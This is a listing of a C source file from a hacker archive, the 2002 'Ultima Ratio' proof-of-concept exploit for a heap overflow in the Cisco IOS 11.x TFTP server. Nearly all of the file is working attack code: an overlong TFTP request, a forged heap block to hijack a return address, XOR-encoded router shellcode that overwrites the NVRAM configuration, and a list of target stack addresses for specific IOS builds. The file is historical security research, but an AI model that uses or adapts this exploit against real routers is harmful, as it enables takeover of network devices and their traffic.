home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / cisco / UltimaRatioVegas.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  20.4 KB  |  649 lines

  1. /*
  2.                          --== P H E N O E L I T ==--
  3.                ____  _______                      _____       _______
  4.      ____   ____  / /__  __/  __   ___ ______    /    /______/__  __/   ______
  5.     /   /  /   / /    / / -*-/  \_/  //     /   /    /      /  / / -*- / __  /
  6.    /   /  /   / /    / / __ / /\_// // __  /   / /\ \  __  /  / / __  / / / /
  7.   /   /__/   / /____/ / / // /   / // / / /   / / / / / / /  / / / / / /_/ /
  8.  /__________/______/_/ /_//_/   /_//_/ /_/   /_/ /_/_/ /_/  /_/ /_/ /_____/
  9.  
  10. */
  11.  
  12. /* Cisco IOS Heap exploit prove of concept "Ultima Ratio".
  13.  * by FX of Phenoelit <fx@phenoelit.de>
  14.  * http://www.phenoelit.de
  15.  *
  16.  * Black Hat Briefings 2002 / Las Vegas
  17.  * DefCon X 2002 / Las Vegas
  18.  * 
  19.  * Cisco IOS 11.1.x to 11.3.x TFTP-Server
  20.  * If a TFTP server for a flash file is configured, a long filename in the TFTP
  21.  
  22.  * request will overflow a heap buffer. The attached program is a PoC to exploi
  23.  * this vulnerability by executing "shell code" on the router and write the 
  24.  * attached configuration into NVRAM to basically own the router. 
  25.  *
  26.  * Command line argument -p XXXXXXXX most definetly required. Obtain from syslo
  27.  * host or any other means possible. The stack address changes by image. 
  28.  * Find the right one for the IOS build you are running and if you feel like it
  29.  * send it to me.
  30.  *
  31.  * Kiddy Warnings: 
  32.  * - It will NOT work in fire-and-forget mode. 
  33.  * - The shellcode is only good for Cisco 1000 and 1600 series.
  34.  * - This code is not for illegal use. 
  35.  *
  36.  * $Id: UltimaRatioVegas.c,v 1.1 2002/07/26 16:39:38 $
  37.  */
  38. #include <stdio.h>
  39. #include <stdlib.h>
  40. #include <unistd.h>
  41. #include <string.h>
  42. #include <netinet/in.h>
  43. #include <rpc/types.h>
  44. #include <netdb.h>
  45. #include <sys/socket.h>
  46. #include <arpa/inet.h>
  47. #include <errno.h>
  48.  
  49. #include <sys/ioctl.h>
  50. #include <netinet/in.h>                
  51. #include <netpacket/packet.h>
  52. #include <net/ethernet.h>               
  53. #include <net/if.h>
  54. #include <sys/stat.h>
  55. #include <sys/types.h>
  56. #include <fcntl.h>
  57.  
  58.  
  59. typedef struct {
  60.     u_int16_t   opcode                  __attribute__((packed));
  61.     u_int8_t    file                    __attribute__((packed));
  62.     u_int8_t    type                    __attribute__((packed));
  63. } tftp_t;
  64.  
  65. typedef struct {
  66.     u_int16_t   magic                   __attribute__((packed));
  67.     u_int16_t   one                     __attribute__((packed));
  68.     u_int16_t   checksum                __attribute__((packed));
  69.     u_int16_t   IOSver                  __attribute__((packed));
  70.     u_int32_t   unknown                 __attribute__((packed));
  71.     u_int32_t   ptr                     __attribute__((packed));
  72.     u_int32_t   size                    __attribute__((packed));
  73. } nvheader_t;
  74.  
  75. struct {
  76.     int                 verbose;
  77.     int                 test;
  78.     char                *filename;
  79.     unsigned int        overflow;
  80.     u_int32_t           prev;
  81.     u_int32_t           next;
  82.     u_int32_t           offset;
  83.     u_int32_t           buffer_location;
  84.     u_int32_t           stack_address;
  85.     unsigned int        nop_sleet;
  86.     int                 dot1;
  87. } cfg;
  88.  
  89. u_int16_t       chksum(u_char *data, unsigned long count);
  90. void            hexdump(unsigned char *bp, unsigned int length);
  91. void            usage(char *s);
  92.  
  93. #define MAX_SIZE        1472
  94. #define XOR_PAT         0xD5
  95.  
  96. #define FB_PREV         28
  97. #define FB_NEXT         24
  98. #define FB_FREENEXT     60
  99. #define FB_FREEPREV     64
  100.  
  101. #define SPLASH          \
  102.         "Phenoelit ULTIMA RATIO\n" \
  103.         " Cisco IOS TFTP-Server remote exploit (11.1.-11.3)\n" \
  104.         " (C) 2002 - FX of Phenoelit <fx@phenoelit.de>\n" 
  105.  
  106. int main(int argc, char **argv) {
  107.     char                option;
  108.     extern char         *optarg;
  109.     unsigned int        i;
  110.  
  111.     /* confg file */
  112.     int                 fd;
  113.     struct stat         sb;
  114.  
  115.     u_char              *buffer;
  116.     u_char              *p;
  117.     nvheader_t          *nvh;
  118.     unsigned int        len;
  119.     u_int16_t           cs1;
  120.     u_int32_t           temp;
  121.  
  122.     /* Network */
  123.     int                 sfd;
  124.     struct in_addr      dest;
  125.     struct sockaddr_in  sin;
  126.  
  127.     /* the packet */
  128.     unsigned int        psize = 0;
  129.     u_char              *pack;
  130.     tftp_t              *tftp;
  131.     char                tftp_type[] =   "PHENOELIT";
  132.     char                terminator[] =  "\xCA\xFE\xF0\x0D";
  133.  
  134.  
  135.     char                fakeblock[] =
  136.         "\xFD\x01\x10\xDF"      // RED
  137.         "\xAB\x12\x34\xCD"      // MAGIC
  138.         "\xFF\xFF\xFF\xFF"      // PID
  139.         "\x80\x81\x82\x83"      // 
  140.         "\x08\x0C\xBB\x76"      // NAME
  141.         "\x80\x8a\x8b\x8c"      // 
  142.  
  143.         "\x02\x0F\x2A\x04"      // NEXT 
  144.         "\x02\x0F\x16\x94"      // PREV 
  145.  
  146.         "\x7F\xFF\xFF\xFF"      // SIZE 
  147.         "\x01\x01\x01\x01"      // 
  148.         "\xA0\xA0\xA0\xA0"      // padding ?
  149.         "\xDE\xAD\xBE\xEF"      // MAGIC2
  150.         "\x8A\x8B\x8C\x8D"      // 
  151.         "\xFF\xFF\xFF\xFF"      // padding 
  152.         "\xFF\xFF\xFF\xFF"      // padding 
  153.  
  154.         "\x02\x0F\x2A\x24"      // FREE NEXT (BUFFER)
  155.         "\x02\x05\x7E\xCC"      // FREE PREV (STACK of Load Meter, return addre
  156. ss)
  157.  
  158.         ;
  159.  
  160.     char                fakeblock_dot1[] =
  161.         "\xFD\x01\x10\xDF"      // RED
  162.         "\xAB\x12\x34\xCD"      // MAGIC
  163.         "\xFF\xFF\xFF\xFF"      // PID
  164.         "\x80\x81\x82\x83"      // 
  165.         "\x08\x0C\xBB\x76"      // NAME
  166.         "\x80\x8a\x8b\x8c"      // 
  167.  
  168.         "\x02\x0F\x2A\x04"      // NEXT 
  169.         "\x02\x0F\x16\x94"      // PREV 
  170.  
  171.         "\x7F\xFF\xFF\xFF"      // SIZE 
  172.         "\x01\x01\x01\x01"      // 
  173.         //"\xA0\xA0\xA0\xA0"    // no padding here on 11.1
  174.         "\xDE\xAD\xBE\xEF"      // MAGIC2
  175.         "\x8A\x8B\x8C\x8D"      // 
  176.         "\xFF\xFF\xFF\xFF"      // padding 
  177.         "\xFF\xFF\xFF\xFF"      // padding 
  178.  
  179.         "\x02\x0F\x2A\x24"      // FREE NEXT (BUFFER)
  180.         "\x02\x05\x7E\xCC"      // FREE PREV (STACK of Load Meter, return addre
  181. ss)
  182.  
  183.         ;
  184.  
  185.     char                nop[] =
  186.         "\x4E\x71";                     // the IOS will write here
  187.  
  188.     char                shell_code[] =
  189.         
  190.         // ************** CODE ****************
  191.         
  192.         "\x22\x7c\x0f\xf0\x10\xc2"      //moveal #267391170,%a1 (0x020F2A24)
  193.         "\xe2\xd1"                      //lsrw %a1@ (0x020F2A2A)
  194.         "\x47\xfa\x01\x23"              //lea %pc@(12d<xor_code+0xfd>),%a3 (0x0
  195. 20F2A2C)
  196.         "\x96\xfc\x01\x01"              //subaw #257,%a3 (0x020F2A30)
  197.         "\xe2\xd3"                      //lsrw %a3@ (0x020F2A34)
  198.         "\x22\x3c\x01\x01\x01\x01"      //movel #16843009,%d1 (0x020F2A36)
  199.         "\x45\xfa\x01\x17"              //lea %pc@(131<xor_code+0x101>),%a2(0x0
  200. 20F2A3C)
  201.         "\x94\xfc\x01\x01"              //subaw #257,%a2 (0x020F2A40)
  202.         "\x34\x3c\xd5\xd5"              //movew #-10795,%d2 (0x020F2A44)
  203.         "\xb5\x5a"                      //eorw %d2,%a2@+ (0x020F2A48)
  204.         "\x0c\x92\xca\xfe\xf0\x0d"      //cmpil #-889262067,%a2@ (0x020F2A4A)
  205.         "\xcc\x01"                      //branch (modified) (0x020F2A50)
  206.         "\xff\xf6"                      //(0x020F2A52)
  207.  
  208.         // ************** XORed CODE ****************
  209.  
  210.         "\x93\x29\xF2\xD5"              //movew #9984,%sr (0x020F2A5E)
  211.         "\xF7\xA9\xDA\x25\xC5\x17"      //moveal #267391170,%a1 (0x020F2A62)
  212.         "\xE7\x69\xD5\xD4"              //movew #1,%a1@ (0x020F2A68)
  213.         "\x90\x2F\xD5\x87"              //lea %pc@(62 <config>),%a2 (0x020F2A6C
  214. )
  215.         "\xF7\xA9\xDB\xD5\xD7\x7B"      //moveal #234881710,%a1 (0x020F2A70)
  216.         "\xA1\xD4"                      //moveq #1,%d2 (0x020F2A76)
  217.         "\xC7\x0F"                      //moveb %a2@+,%a1@+ (0x020F2A78)
  218.         "\xF7\xE9\xD5\xD5\x2A\x2A"      //movel #65535,%d1 (0x020F2A7A)
  219.         "\x46\x97"                      //subxw %d2,%d1 (0x020F2A80)
  220.         "\xBE\xD5\x2A\x29"              //bmiw 22 <write_delay> (0x020F2A82)
  221.         "\xD9\x47\x1F\x2B\x25\xD8"      //cmpil #-889262067,%a2@ (0x020F2A86)
  222.         "\xB3\xD5\x2A\x3F"              //bnew 1a <copy_confg> (0x020F2A8C)
  223.         "\xE7\x29\xD5\xD5"              //movew #0,%a1@+ (0x020F2A90)
  224.         "\xF7\xE9\xD5\xD5\x2A\x2A"      //movel #65535,%d1 (0x020F2A94)
  225.         "\x46\x97"                      //subxw %d2,%d1 (0x020F2A9A)
  226.         "\xBE\xD5\x2A\x29"              //bmiw 3c <write_delay2> (0x020F2A9C)
  227.         "\x66\x29\xDB\xD5\xF5\xD5"      //cmpal #234889216,%a1 (0x020F2AA0)
  228.         "\xB8\xD5\x2A\x3D"              //bltw 32 <delete_confg> (0x020F2AA6)
  229.         "\x93\x29\xF2\xD5"              //movew #9984,%sr (0x020F2AAA)
  230.         "\xF5\xA9\xDA\x25\xD5\xD5"      //moveal #267386880,%a0 (0x020F2AAE)
  231.         "\xFB\x85"                      //moveal %a0@,%sp (0x020F2AB4)
  232.         "\xF5\xA9\xDA\x25\xD5\xD1"      //moveal #267386884,%a0 (0x020F2AB6)
  233.         "\xF5\x85"                      //moveal %a0@,%a0 (0x020F2ABC)
  234.         "\x9B\x05"                      //jmp %a0@ (0x020F2ABE)
  235.  
  236.         ;
  237.  
  238.     /* configure defaults */
  239.     memset(&dest,0,sizeof(dest));
  240.     memset(&cfg,0,sizeof(cfg));
  241.     cfg.overflow=652;
  242.     cfg.prev=0x020F1694;
  243.     cfg.next=0x020F2A04;
  244.     //cfg.offset=0x13D4;
  245.     //cfg.offset=0x137C;        // 4988 
  246.     cfg.offset=0x1390;          // 5008 
  247.     cfg.buffer_location=0x020F2A24;
  248.     cfg.stack_address=0x02057ECC;
  249.     cfg.nop_sleet=16;
  250.  
  251.     printf("%s\n",SPLASH);
  252.  
  253.     while ((option=getopt(argc,argv,"1vtd:f:l:p:o:s:n:N:"))!=EOF) {
  254.         switch (option) {
  255.             case 'd':   if (inet_aton(optarg,&dest)==0) {
  256.                             /* ups, wasn't an IP - maybe a hostname */
  257.                             struct hostent      *hd;
  258.                             if ((hd=gethostbyname(optarg))==NULL) {
  259.                                 fprintf(stderr,"Could not resolve destination h
  260. ost\n");
  261.                                 return (1);
  262.                             } else {
  263.                                 bcopy(hd->h_addr,(char *)&dest,hd->h_length);
  264.                             }
  265.                         }
  266.                         break;
  267.             case 'f':   cfg.filename=(char *)malloc(strlen(optarg)+1);
  268.                         strcpy(cfg.filename,optarg);
  269.                         break;
  270.             case 'l':   if ( (cfg.overflow=atoi(optarg))==0 ) {
  271.                             fprintf(stderr,"Overflow length incorrect\n");
  272.                             return (1);
  273.                         }
  274.                         break;
  275.             case 'o':   if ( (cfg.offset=atoi(optarg))==0 ) {
  276.                             fprintf(stderr,"Offset incorrect\n");
  277.                             return (1);
  278.                         }
  279.                         break;
  280.             case 'N':   if ( (cfg.nop_sleet=atoi(optarg))==0 ) {
  281.                             fprintf(stderr,"NOP sleet incorrect\n");
  282.                             return (1);
  283.                         }
  284.                         break;
  285.             case 'p':   sscanf(optarg,"%08X",&(cfg.prev));
  286.                         break;
  287.             case 'n':   sscanf(optarg,"%08X",&(cfg.next));
  288.                         break;
  289.             case 's':   sscanf(optarg,"%08X",&(cfg.stack_address));
  290.                         break;
  291.             case 'v':   cfg.verbose++;
  292.                         break;
  293.             case 't':   cfg.test++;
  294.                         break;
  295.             case '1':   cfg.dot1++;
  296.                         break;
  297.             default:    usage(argv[0]);
  298.                         return (1);
  299.         }
  300.     }
  301.  
  302.     /*
  303.      * check for dummies 
  304.      */
  305.  
  306.     if ( (!(*((u_int32_t *)&dest))) || (cfg.filename==NULL) ) {
  307.         usage(argv[0]);
  308.         return 1;
  309.     }
  310.  
  311.     /* 
  312.      * patch fake block with new addresses 
  313.      */
  314.  
  315.     cfg.buffer_location=cfg.prev+20+cfg.offset;
  316.  
  317.     if (cfg.dot1) {
  318.         temp=htonl(cfg.prev+20);
  319.         memcpy(&(fakeblock_dot1[FB_PREV]),&(temp),4);
  320.         temp=htonl(cfg.next);
  321.         memcpy(&(fakeblock_dot1[FB_NEXT]),&(temp),4);
  322.         temp=htonl(cfg.buffer_location);
  323.         memcpy(&(fakeblock_dot1[FB_FREENEXT-4]),&(temp),4);
  324.         temp=htonl(cfg.stack_address);
  325.         memcpy(&(fakeblock_dot1[FB_FREEPREV-4]),&(temp),4);
  326.     } else {
  327.         temp=htonl(cfg.prev+20);
  328.         memcpy(&(fakeblock[FB_PREV]),&(temp),4);
  329.         temp=htonl(cfg.next);
  330.         memcpy(&(fakeblock[FB_NEXT]),&(temp),4);
  331.         temp=htonl(cfg.buffer_location);
  332.         memcpy(&(fakeblock[FB_FREENEXT]),&(temp),4);
  333.         temp=htonl(cfg.stack_address);
  334.         memcpy(&(fakeblock[FB_FREEPREV]),&(temp),4);
  335.     }
  336.  
  337.     if (cfg.verbose) {
  338.         if (cfg.dot1) printf("using IOS 11.1 Heap management mode\n");
  339.         printf("Values:\n"
  340.                 "- prev ptr of 0x%08X\n"
  341.                 "- next ptr of 0x%08X\n"
  342.                 "- buffer located at 0x%08X (offset %u)\n"
  343.                 "- stack return address 0x%08X\n"
  344.                 "- overflow lenght %u\n"
  345.                 "- NOP sleet %u\n"
  346.                 ,
  347.                 cfg.prev+20,
  348.                 cfg.next,
  349.                 cfg.buffer_location,cfg.offset,
  350.                 cfg.stack_address,
  351.                 cfg.overflow,
  352.                 cfg.nop_sleet);
  353.     }
  354.  
  355.     if (cfg.dot1) {
  356.         if (strlen(fakeblock_dot1)+1!=sizeof(fakeblock_dot1)) {
  357.             fprintf(stderr,"0x00 byte in fake block detected!\n");
  358.             if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock_dot1)-1);
  359.             return (1);
  360.         }
  361.     } else {
  362.         if (strlen(fakeblock)+1!=sizeof(fakeblock)) {
  363.             fprintf(stderr,"0x00 byte in fake block detected!\n");
  364.             if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock)-1);
  365.             return (1);
  366.         }
  367.     }
  368.  
  369.     /* 
  370.      * Load Config
  371.      * - load into buffer
  372.      * - prepare NVRAM header
  373.      * - calculate checksum
  374.      * -> *buffer contains payload
  375.      */
  376.     if (cfg.filename==NULL) return (-1);
  377.     if (stat(cfg.filename,&sb)!=0) {
  378.         fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
  379.         return (-1);
  380.     }
  381.  
  382.     if ((fd=open(cfg.filename,O_RDONLY))<0) {
  383.         fprintf(stderr,"Could not open() file %s\n",cfg.filename);
  384.         return (-1);
  385.     }
  386.  
  387.     len=sb.st_size;
  388.     if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
  389.         fprintf(stderr,"Malloc() failed\n");
  390.         return (-1);
  391.     }
  392.     memset(buffer,0,len+sizeof(nvheader_t)+10);
  393.  
  394.     p=buffer+sizeof(nvheader_t);
  395.     if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
  396.     close(fd);
  397.  
  398.     /* 
  399.      * pad config so it is word bound for the 0xcafef00d test
  400.      */
  401.     if ((len%2)!=0) {
  402.         strcat(p,"\x0A");
  403.         len++;
  404.         if (cfg.verbose) printf("Padding config by one\n");
  405.     }
  406.  
  407.     nvh=(nvheader_t *)buffer;
  408.     nvh->magic=htons(0xABCD);           
  409.     nvh->one=htons(0x0001);             // is always one 
  410.     nvh->IOSver=htons(0x0B03);          // IOS version
  411.     nvh->unknown=htonl(0x00000014);     // something, 0x14 just works
  412.     nvh->ptr=htonl(0x020AA660);         // something, 0x020AA660 just works
  413.     nvh->size=htonl(len);
  414.  
  415.     cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
  416.     if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
  417.     nvh->checksum=cs1;
  418.  
  419.  
  420.     /* 
  421.      * Check the size of all together and make sure it will fit into the
  422.      * packet
  423.      */
  424.     psize=  len + sizeof(nvheader_t) + 
  425.             + strlen(fakeblock)
  426.             + ( strlen(nop) * cfg.nop_sleet )
  427.             + strlen(shell_code)
  428.             + strlen(terminator)
  429.             + cfg.overflow + 1
  430.             + sizeof(tftp_t) + strlen(tftp_type) ;
  431.     if ( psize > MAX_SIZE ) {
  432.         fprintf(stderr,"The config file specified is too big and does not fit"
  433.                 " into one packet. Specify smaller file\n");
  434.         free(buffer);
  435.         return (1);
  436.     }
  437.     if ((pack=malloc(psize))==NULL) {
  438.         fprintf(stderr,"Could not malloc() packet\n");
  439.         return (-1);
  440.     }
  441.     memset(pack,0,psize);
  442.  
  443.  
  444.     /* 
  445.      * XOR encode the config block 
  446.      */ 
  447.     p=buffer;
  448.     for (i=0;i<(len+sizeof(nvheader_t));i++) {
  449.         p[i]=p[i]^XOR_PAT;
  450.     }
  451.  
  452.  
  453.     /* 
  454.      * Prepare the TFTP protocol part
  455.      */
  456.     tftp=(tftp_t *)((void *)pack);
  457.     tftp->opcode=htons(1);
  458.     
  459.     /* (1) Overflow */
  460.     p=(char *)&(tftp->file);
  461.     memset(p,'A',cfg.overflow);
  462.     p+=cfg.overflow;
  463.  
  464.     /* (2) Fake block */
  465.     if (cfg.dot1) {
  466.         memcpy(p,fakeblock_dot1,sizeof(fakeblock_dot1)-1);
  467.         p+=sizeof(fakeblock_dot1)-1;
  468.     } else {
  469.         memcpy(p,fakeblock,sizeof(fakeblock)-1);
  470.         p+=sizeof(fakeblock)-1;
  471.     }
  472.  
  473.     /* (3) add NOP sleet */
  474.     for (i=0;i<cfg.nop_sleet;i++) {
  475.         memcpy(p,nop,sizeof(nop)-1);
  476.         p+=sizeof(nop)-1;
  477.     }
  478.  
  479.     /* (4) append shell code */
  480.     memcpy(p,shell_code,sizeof(shell_code)-1);
  481.     p+=sizeof(shell_code)-1;
  482.  
  483.     /* (5) new config */
  484.     memcpy(p,buffer,strlen(buffer));
  485.     p+=strlen(buffer);
  486.  
  487.     /* (6) terminator */
  488.     strcpy(p,terminator);
  489.     p+=strlen(terminator)+1;
  490.  
  491.     /* (7) give it a type */
  492.     strcpy(p,tftp_type);
  493.  
  494.  
  495.  
  496.     if (cfg.verbose>1) hexdump(pack,psize);
  497.  
  498.     if (cfg.test) return(0);
  499.  
  500.     /*
  501.      * Perform attack
  502.      */
  503.     if ((sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
  504.         perror("socket()");
  505.         return (-1);
  506.     }
  507.     memset(&sin,0,sizeof(struct sockaddr_in));
  508.     sin.sin_family=AF_INET;
  509.     sin.sin_port=htons(69);  /* tftp */
  510.     memcpy(&(sin.sin_addr),&dest,sizeof(sin.sin_addr));
  511.  
  512.     printf("*** Sending exploit ***\n");
  513.  
  514.     if (sendto(sfd,pack,psize,0,
  515.                 (struct sockaddr *)&sin,sizeof(struct sockaddr_in))<=0) {
  516.         perror("sendto()");
  517.         return(-1);
  518.     }
  519.  
  520.     close(sfd);
  521.  
  522.     if (cfg.verbose) printf("\t%d bytes network data sent\n",psize);
  523.  
  524.     /*
  525.      * clean up 
  526.      */
  527.     free(buffer);
  528.     free(pack);
  529.  
  530.     return 0;
  531. }
  532.  
  533.  
  534. /* checksum function as used in IRPAS, stolen somewhere */
  535. u_int16_t chksum(u_char *data, unsigned long count) {
  536.     u_int32_t           sum = 0;
  537.     u_int16_t           *wrd;
  538.  
  539.     wrd=(u_int16_t *)data;
  540.     while( count > 1 )  {
  541.         sum = sum + *wrd;
  542.         wrd++;
  543.         count -= 2;
  544.     }
  545.  
  546.     if( count > 0 ) { sum = sum + ((*wrd &0xFF)<<8); }
  547.  
  548.     while (sum>>16) {
  549.         sum = (sum & 0xffff) + (sum >> 16);
  550.     }
  551.  
  552.     return (~sum);
  553. }
  554.  
  555.  
  556. /* A better version of hdump, from Lamont Granquist.  Modified slightly
  557.  * by Fyodor (fyodor@DHP.com) 
  558.  * obviously stolen by FX from nmap (util.c)*/
  559. void hexdump(unsigned char *bp, unsigned int length) {
  560.  
  561.   /* stolen from tcpdump, then kludged extensively */
  562.  
  563.   static const char asciify[] = "................................ !\"#$%&'()*+,
  564. -./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz
  565. {|}~...........................................................................
  566. ......................................................";
  567.  
  568.   register const u_short *sp;
  569.   register const u_char *ap;
  570.   register u_int i, j;
  571.   register int nshorts, nshorts2;
  572.   register int padding;
  573.  
  574.   printf("\n\t");
  575.   padding = 0;
  576.   sp = (u_short *)bp;
  577.   ap = (u_char *)bp;
  578.   nshorts = (u_int) length / sizeof(u_short);
  579.   nshorts2 = (u_int) length / sizeof(u_short);
  580.   i = 0;
  581.   j = 0;
  582.   while(1) {
  583.     while (--nshorts >= 0) {
  584.       printf(" %04x", ntohs(*sp));
  585.       sp++;
  586.       if ((++i % 8) == 0)
  587.         break;
  588.     }
  589.     if (nshorts < 0) {
  590.       if ((length & 1) && (((i-1) % 8) != 0)) {
  591.         printf(" %02x  ", *(u_char *)sp);
  592.         padding++;
  593.       }
  594.       nshorts = (8 - (nshorts2 - nshorts));
  595.       while(--nshorts >= 0) {
  596.         printf("     ");
  597.       }
  598.       if (!padding) printf("     ");
  599.     }
  600.     printf("  ");
  601.  
  602.     while (--nshorts2 >= 0) {
  603.       printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
  604.       ap += 2;
  605.       if ((++j % 8) == 0) {
  606.         printf("\n\t");
  607.         break;
  608.       }
  609.     }
  610.     if (nshorts2 < 0) {
  611.       if ((length & 1) && (((j-1) % 8) != 0)) {
  612.         printf("%c", asciify[*ap]);
  613.       }
  614.       break;
  615.     }
  616.   }
  617.   if ((length & 1) && (((i-1) % 8) == 0)) {
  618.     printf(" %02x", *(u_char *)sp);
  619.     printf("                                       %c", asciify[*ap]);
  620.   }
  621.   printf("\n");
  622. }
  623.  
  624. void usage(char *s) {
  625.     fprintf(stderr,
  626.             "Usage: %s -d <device_ip> -f config.file [-opts]\n"
  627.             "Options:\n"
  628.             " -p 1234ABCD   sets the previous ptr address\n"
  629.             " -n 1234ABCD   sets the next ptr address\n"
  630.             " -s 1234ABCD   sets the stack address\n"
  631.             " -o 1234       sets the offset from prev to buffer\n"
  632.             " -l 1234       sets the overflow size\n"
  633.             " -N 1234       sets the NOP sleet\n"
  634.             " -1            use IOS 11.1 memory layout\n"
  635.             " -v            increases verbosity (highly recommended)\n"
  636.             " -t            only test, don't send\n"
  637.             "\n"
  638.             "Recommended stack addresses:\n"
  639.             "IOS 11.1(20)         -s 020A1120 (IP Input)\n"
  640.             "IOS 11.2(18)P        -s 0204120C (Load Meter)\n"
  641.             "IOS 11.2(26)P4       -s 02041554 (Load Meter)\n"
  642.             "IOS 11.3(11)B        -s 02057ECC (Load Meter)\n"
  643.             ,s);
  644. }
  645.  
  646.